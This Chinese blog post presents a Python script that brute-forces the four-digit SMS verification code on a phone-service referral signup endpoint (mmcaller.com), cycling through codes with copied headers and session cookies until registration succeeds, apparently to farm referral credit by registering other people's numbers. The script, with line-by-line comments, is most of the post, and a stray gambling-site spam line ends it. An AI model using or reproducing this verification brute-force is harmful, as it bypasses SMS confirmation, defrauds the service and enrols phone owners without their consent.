• 首頁 > PHP與電話平臺 > Python帶協議頭(headers)暴力注冊MM電話代碼

    201507月9

    Python帶協議頭(headers)暴力注冊MM電話代碼

    作者:admin 0 Comments 發表評論

    python接觸沒幾天,但寫 post程序是比較有趣比較有用的,所以研究了下,發現python的第三方庫requests是很不錯的POST,GET等網頁交互操作的模塊,所以安裝了這個庫,并且參考文章:http://www.loveband.cn/mmwldh.html,寫了代碼,其中協議頭哪里弄了很久,另外在for循環里加入了while循環,結果程序沒有自動跳出(這樣用法是有問題的),后面用if判斷就正常了。代碼如下,都有解釋,不說闡述:

    import requests # 引入requests模塊
    url1=’http://www.mmcaller.com/wap/laxinReg.act’ #POST網址
    data1=’mobile=被推薦的號碼&invitedby=自己的號碼&smsCode=1111&inviteway=web-url&sign=d479861f2626ad40709da1895ba4b9c0760e43bf9028ce84ea41626cd44f0bc475223fefd407bdd7e7b37bceb6fc62eab385198e1b95′
    #post的數據,其中1111是初始驗證碼

    head={‘Host’: ‘www.mmcaller.com’,
    ‘Connection’: ‘keep-alive’,
    ‘Content-Length’: ‘185’,
    ‘Accept’: ‘application/json’,
    ‘Origin’: ‘http://www.mmcaller.com’,
    ‘X-Requested-With’: ‘XMLHttpRequest’,
    ‘User-Agent’: ‘Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36 TheWorld 6’,
    ‘Content-Type’: ‘application/x-www-form-urlencoded’,
    ‘Referer’: ‘http://www.mmcaller.com/w/lx.c?s=web-url&a=?????’,
    ‘Accept-Encoding’: ‘gzip,deflate,sdch’,
    ‘Accept-Language’: ‘zh-CN,zh;q=0.8’,
    ‘Cookie’: ‘JSESSIONID=6517114FFCEBAB0FE9E5228C63A3FE08; U_UID_JSESSIONID_KEEPC=492569; U_BC_JSESSIONID_KEEPC=0.0; U_NAME_JSESSIONID_KEEPC=自己號碼; U_PWD_JSESSIONID_KEEPC=37813d32cd5f64c0; Hm_lvt_6411748e94749dc822884a48bd026032=1436195631,1436280948,1436440536; Hm_lpvt_6411748e94749dc822884a48bd026032=1436449102; Hm_lvt_026df1e3785835b164361376798f7917=1436195274,1436280878,1436440509; Hm_lpvt_026df1e3785835b164361376798f7917=1436449123’}
    #協議頭,就是這么寫的,POST要用到,如果不懂,可以參考文章:http://www.loveband.cn/mfwydh.html中關于協議頭的解釋

     

    r=requests.post(url1,data1,headers=head)#requests的POST數據格式,第一個是網址,第二個是POST數據,第三個是協議頭,協議頭在有些POST里不是必須的,但大部分都需要這個。

    r1=r.content
    print r1 #打印POST初始數據后的返回值
    numcod=1000 #設置初始跑碼為1000,因為驗證碼是4位數,所以從這個跑起不會漏
    for i in range(9000): #設置9000次循環
    numcod=numcod+1 #驗證碼每次加1
    numm=str(numcod) #把驗證碼由數值類型轉換成文本型數據
    data2=data1.replace(‘1111’,numm) #替換初始驗證碼1111為每次生成的驗證碼數字
    r=requests.post(url1,data=data2,headers=head) #requests又在POST數據
    print numcod #打印已經跑了的驗證碼數字

    print r.content #打印POST后的返回信息
    if(r.content != r1): #如果返回信息 不等于初始值,那么就說明已經找到了真正的驗證碼
    print ‘恭喜,已經找到真正的驗證碼,并且注冊成功,驗證碼為:’+numm #打印驗證碼數值
    break #跳出for循環

    可以下載源碼看:http://pan.baidu.com/s/1jG1UUPK

    推薦閱讀相關文章:PHP與電話平臺

    本文地址:http://www.loveband.cn/python-headers.html
    版權所有 © 轉載時必須以鏈接形式注明作者和原始出處!

    本文目前尚無任何評論.

    發表評論

    广东11选5平台合法吗